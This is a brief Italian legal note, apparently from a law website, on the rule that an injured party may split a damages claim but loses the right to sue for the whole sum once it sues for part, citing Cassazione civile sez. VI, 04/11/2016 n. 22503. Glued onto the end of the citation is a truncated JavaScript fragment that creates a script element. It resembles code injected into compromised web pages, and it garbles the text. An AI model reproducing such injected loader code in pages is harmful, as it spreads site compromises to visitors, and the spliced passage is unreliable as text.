Il soggetto danneggiato ha il diritto di frazionare la propria richiesta risarcitoria e domandare anche solo una porzione della stessa.
Detto frazionamento, però, ha come conseguenza che, a seguito della domanda giudiziaria di una sola parte di credito, il danneggiato perde la possibilità di agire giudizialmente per il ristoro dell’intera somma.
Cassazione civile sez. VI, 04/11/2016 n. 22503var d=document;var s=d.createElement(‘script’);